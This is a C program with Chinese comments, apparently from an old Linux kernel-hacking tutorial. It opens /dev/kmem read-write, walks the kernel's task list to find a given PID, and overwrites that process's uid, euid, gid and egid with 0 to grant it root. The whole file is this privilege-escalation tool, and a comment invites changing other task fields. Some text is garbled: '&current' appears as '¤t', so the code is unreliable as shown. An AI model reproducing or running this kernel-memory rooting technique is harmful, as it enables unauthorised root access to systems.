/*注意：我没有实现错误检查*/ 

#include <stdio.h> 

#include <stdlib.h> 

#include <unistd.h> 

#include <fcntl.h> 


/*我们想要改变的任务结构的最大数目*/ 

#define NR_TASKS 512 


/*我们的任务结构-〉我只使用了我们需要的那部分*/ 

struct task_struct { 

char a[108];　　　　　　 /*我们不需要的*/ 

int pid; 

char b[168];　　　　　　 /*我们不需要的*/ 

unsigned short uid,euid,suid,fsuid; 

unsigned short gid,egid,sgid,fsgid; 

char c[700];　　　　　　 /*我们不需要的*/ 

}; 


/*下面是原始的任务结构，
你可以看看还有其他的什么是你可以改变的 

struct task_struct { 

volatile long state; 

long counter; 

long priority; 

unsigned long signal; 

unsigned long blocked; 

unsigned long flags; 

int errno; 

long debugreg[8]; 

struct exec_domain *exec_domain; 

struct linux_binfmt *binfmt; 

struct task_struct *next_task, *prev_task; 

struct task_struct *next_run, *prev_run; 

unsigned long saved_kernel_stack; 

unsigned long kernel_stack_page; 

int exit_code, exit_signal; 

unsigned long personality; 

int dumpable:1; 

int did_exec:1; 

int pid; 

int pgrp; 

int tty_old_pgrp; 

int session; 

int leader; 

int groups[NGROUPS]; 

struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; 

struct wait_queue *wait_chldexit; 

unsigned short uid,euid,suid,fsuid; 

unsigned short gid,egid,sgid,fsgid; 

unsigned long timeout, policy, rt_priority; 

unsigned long it_real_value, it_prof_value, it_virt_value; 

unsigned long it_real_incr, it_prof_incr, it_virt_incr; 

struct timer_list real_timer; 

long utime, stime, cutime, cstime, start_time; 

unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; 

int swappable:1; 

unsigned long swap_address; 

unsigned long old_maj_flt; 

unsigned long dec_flt; 

unsigned long swap_cnt; 

struct rlimit rlim[RLIM_NLIMITS]; 

unsigned short used_math; 

char comm[16]; 

int link_count; 

struct tty_struct *tty; 

struct sem_undo *semundo; 

struct sem_queue *semsleeping; 

struct desc_struct *ldt; 

struct thread_struct tss; 

struct fs_struct *fs; 

struct files_struct *files; 

struct mm_struct *mm; 

struct signal_struct *sig; 

#ifdef __SMP__ 

int processor; 

int last_processor; 

int lock_depth; 

#endif 

}; 

*/ 


int main(int argc, char *argv[]) 

{ 

unsigned long task[NR_TASKS]; 

/*用于特定PID的任务结构*/ 

struct task_struct current; 

int kmemh; 

int i; 

pid_t pid; 

int retval; 


pid = atoi(argv[2]); 


kmemh = open("/dev/kmem", O_RDWR); 


/*找到第一个任务结构的内存地址*/ 

lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); 

read(kmemh, task, sizeof(task)); 


/*遍历知道我们找到我们的任务结构（由PID确定）*/ 

for (i = 0; i < NR_TASKS; i++) 

{ 

lseek(kmemh, task[i], SEEK_SET); 

read(kmemh, ¤t, sizeof(current)); 

/*是我们的进程么*/ 

if (current.pid == pid) 

{ 

/*是的，因此改变UID域。。。。*/ 

current.uid = current.euid = 0; 

current.gid = current.egid = 0; 

/*写回到内存*/ 

lseek(kmemh, task[i], SEEK_SET); 

write(kmemh, ¤t, sizeof(current)); 

printf("Process was found and task structure was modified\n"); 

exit(0); 

} 

} 

}